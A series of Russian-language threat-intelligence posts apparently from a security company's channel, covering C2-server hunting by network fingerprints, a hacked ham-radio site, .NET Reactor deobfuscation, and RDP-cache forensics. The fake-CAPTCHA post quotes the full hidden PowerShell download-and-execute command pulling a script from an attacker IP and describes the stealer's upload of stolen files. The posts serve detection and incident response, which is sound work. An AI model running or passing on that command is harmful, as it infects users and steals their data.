C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁

В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois.

Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания.

Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development.

Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы.

Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ.

Список наиболее популярных признаков, которые можно использовать для идентификации С2:

✅ Параметры TLS-сертификата
✅ Параметры TLS-соединения (JA3, JA4, JARM и т. д.)
✅ Заголовки ответа от сервера
✅ Контент и noscript страницы
✅ Набор открытых портов
✅ Favicon

Ограничить поиск всегда можно с помощью указания ASN, хостера или страны.

Список сервисов, которые помогут вам искать С2 таким способом:

✅ Shodan
✅ Censys
✅ FOFA
✅ ZoomEye
✅ BinaryEdge
✅ Netlas
✅ ONYPHE
✅ Самописный сканер

Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис.

😠 На скриншотах 1–3 вы можете увидеть примеры запросов для обнаружения C2 для ВПО GoRed, которое использует группа ExCobalt.

Кроме того, есть базовое опенсорс-решение для автоматизации запросов.

В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз.

💡 Стоит отметить, что некоторые разработчики MaaS стараются противодействовать таким методам обнаружения. Например, с определенной версии Medusa Stealer ее разработчики убрали noscript, некоторый контент на странице и добавили генерацию случайных данных в TLS-сертификат, чтобы нельзя было идентифицировать панель управления стилером через популярные сервисы.

Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки.

#TI #C2 #tips #hunt #malware
@ptescalator

Радиолюбителям приготовиться 📻

Внутренние системы группы киберразведки обнаружили взлом сайта для радиолюбителей. Сайт существует с 2017 года и стабильно входит в число первых результатов поиска в Яндексе.

При входе на сайт пользователю сразу же предлагается пройти проверку и доказать, что он не робот. Однако вместо привычного набора задач при клике на кнопку «Я не робот» запускается JavaScript-функция. Она не выполняет проверку, а копирует заранее подготовленный текст в буфер обмена (скриншот 1).

Пользователю предлагается следовать инструкциям: открыть окно «Выполнить» (Win+R) и нажать Ctrl+V, чтобы вставить скопированный текст. При этом в буфер попадает команда:

PowerShell.exe -WindowStyle Hidden -nop -exec bypass -c "iex (New-Object Net.WebClient).DownloadString('http://45.61.157.179/noscript.ps1') # 'I am not a robot - reCAPTCHA ID: 477237535673 TRUE'"

Из-за ограниченного размера окна «Выполнить» отображается лишь последняя ее часть (скриншот 2):

I am not a robot - reCAPTCHA ID: 477237535673 TRUE

Это позволяет скрыть от глаз невнимательного пользователя факт выполнения вредоносного кода. Команда запускает PowerShell в скрытом режиме, отключая проверки безопасности, скачивает удаленный ps1-скрипт по указанному URL и сразу его выполняет. Ранее о подобных способах распространения ВПО писали наши коллеги. А недавно схожий инцидент зафиксировал наш SOC (но об этом — в следующих постах).

📸 Скрипт представляет собой примитивный стилер. Вредоносный инструмент скачивается в систему и выполняется для извлечения данных (в числе которых — имя компьютера и пользователя, сведения об операционной системе, процессоре, дисках, а также внутренние и внешние IP-адреса), файлов (документов, таблиц, презентаций, текстовых материалов и изображений, найденных на рабочем столе и в папке «Загрузки»), а также для создания 300 скриншотов экрана с интервалом в 30 секунд. Кроме того, в скрипте присутствуют комментарии на русском языке (скриншот 3).

После сбора информации формируется команда curl, которая посредством POST-запроса HTTP отправляет данные на сервер злоумышленников с адресом http://45.61.157.179/upload.

Скрипт взаимодействует с IP-адресом 45.61.157.179 (AS 14956, ROUTERHOSTING, США), где размещен домен eschool-ua.online. На этом сайте находится форма для входа в сервис DrobBox, предположительно функционирующий как командный центр злоумышленников (скриншот 4). На момент написания поста домен уже недоступен.

IoCs

45.61.157.179
eschool-ua.online
4bdaa2e9bc6c6986981d039b29085683ed36b5c2549466101a81ad660281465c

#TI #ioc
@ptescalator

.NET Reactor: эволюция защиты с 6.7 до 7.0 и методы снятия обфускации 🔄

.NET Reactor — это мощный инструмент для защиты исполняемых файлов, написанных на С#, от декомпиляции и обратного инжиниринга. Он предоставляет различные методы обфускации и лицензирования, обеспечивая безопасность интеллектуальной собственности разработчиков.

Но, как это обычно бывает, применяется он не только в благих целях: экспертам антивирусной лаборатории PT ESC часто попадаются вредоносные файлы, защищенные от анализа именно .Net Reactor.

🔓 Как защищен?

.NET Reactor использует несколько уровней защиты для предотвращения декомпиляции и анализа кода:

• NecroBit IL Code Protection: заменяет CIL-код методов на зашифрованный, делая невозможной декомпиляцию и восстановление исходного кода.

• Виртуализация кода: преобразует исходный код в набор инструкций отличный от .NET IL, которые интерпретируются во время выполнения виртуальной машиной, что затрудняет анализ и восстановление оригинального кода.

• Обфускация потока управления (Control Flow Obfuscation): преобразует код методов в запутанную структуру, усложняя понимание логики программы и затрудняя работу декомпиляторов (пример — на скриншоте 1).

• Шифрование строк (String Encryption): шифрует строки в коде, предотвращая их чтение и анализ, что усложняет понимание функциональности приложения, как показано на скриншоте 2.

• Антиотладочные механизмы (Anti Debug): внедряет проверки на наличие отладчиков, завершая процесс при их обнаружении, что препятствует динамическому анализу приложения.

🆕 Что нового?

• Поддержка .NET 6.0: обеспечивает защиту для новейших приложений на этой платформе.

• Улучшения в виртуализации кода и Control Flow Obfuscation обеспечивают дальнейшее повышение надежности и сложности обфускации.

• Скрытие содержимого объединенных приложений .NET Core, 5.0, 6.0 предотвращает просмотр содержимого с помощью инструментов, таких как ILSpy / dnSpy.

🧐 Как анализировать?

Несмотря на сложность защиты, существуют инструменты, которые облегчают жизнь реверсерам.
NETReactorSlayer — мощный инструмент для реверса приложений, обфусцированных с помощью .NET Reactor. Его главные фишки:

• дешифровка NecroBit — восстанавливает CIL-код из зашифрованных методов;

• удаление прокси и оберток — очищает код от мусора, добавленного обфускатором (смотрите на скриншоте 3);

• декодирование строк и ресурсов — возвращает читаемые строки, зашифрованные в приложении;

• обход антиотладки и защиты от изменения кода.

Однако начиная с версии 6.9 изначальная версия Net Reactor Slayer перестала справляться с деобфускацией защиты даже с базовыми параметрами. Благодаря открытому исходному коду и довольно большому комьюнити, в pull requests можно найти исправленный код, который прекрасно отрабатывает даже на самой свежей версии обфускатора.

Но вот с виртуализированным кодом не все так гладко: Net Reactor Slayer с ним не справляется. Если вам повезло и файл был защищен версией 6.9.0.0, то можно не тратить время на ручной анализ виртуальной машины, а применить VMAttack — инструмент для девиртуализации приложений .NET, в котором есть поддержка этой версии .NET Reactor. А если не повезло — проще всего проанализировать файл по его поведению, например с помощью PT Sandbox.

☝️ Вывод

.NET Reactor остается одним из самых популярных обфускаторов для .NET. С каждой версией защита усложняется, особенно за счет виртуализации. Если собираетесь его анализировать — запасайтесь терпением и хорошими инструментами.

#avlab #sandboxteam #dotnet #obfuscation
@ptescalator

1C_shell для «1С» 🦞

Иногда случаются ситуации, когда в ходе расследования инцидента информационной безопасности традиционно используемые артефакты ОС содержат крайне скудную информацию, а делать что-то все-таки надо...

Самым терпеливым и любопытным может помочь связка инструментов для работы с кэшем RDP (который, как известно, хранится в Windows по адресу C:\Users\%Username%\AppData\Local\Microsoft\Terminal Server Client\Cache), состоящая из парсера кэша bmc-tools и инструмента для «склеивания» фрагментов изображения RdpCacheStitcher.

Поскольку кэш RDP представляет собой набор фрагментов размером максимум 64×64 пикселя, а количество фрагментов составляет обычно несколько тысяч для одного файла кэша, работа по восстановлению и поиску интересных фрагментов достаточно кропотливая, но иногда приносит неожиданные результаты.

Практика показывает, что однозначной закономерности в расположении отдельных фрагментов внутри кэша нет, но, как правило, соседние фрагменты могут располагаться в пределах окна в 20–30 последовательных изображений. Тем не менее полностью автоматизировать «склеивание» этих пазлов — задача нетривиальная.

🔎 Итак, что же любопытного можно обнаружить внутри подобного кэша?

1. Следы внезапно проснувшегося интереса пользователя к разного рода сомнительным инструментам (скриншоты 1, 2);

2. Следы запуска подозрительных файлов с еще более подозрительными параметрами (скриншот 3);

3. Выполнение до боли знакомых команд, которые, казалось бы, простой бухгалтер выполнять не должен (скриншот 4);

4. Нечто крайне подозрительное, интересное (скриншот 5).

При обнаружении такого рода данных следует внимательно изучить соседние фрагменты — там, как правило, можно обнаружить какое-то развитие наметившейся идеи (скриншоты 6, 7, 8).

Вот тут уже возникает повод серьезно задуматься и после раздумий, сопровождаемых поиском следующих фрагментов изображения, прийти к выводам. В данном случае в ходе расследования было обнаружено и подтверждено использование своеобразного шелла 1C_shell для «1С».

Несмотря на то, что механизмы работы подобных «внешних обработок» системы «1С» были уже давно описаны в материале «Взломать за 60 секунд!» и докладе «„1С“ глазами пентестера», а все соответствующие рекомендации сформулированы, схема продолжает работать и по сей день.

#ir #dfir #malware
@ptescalator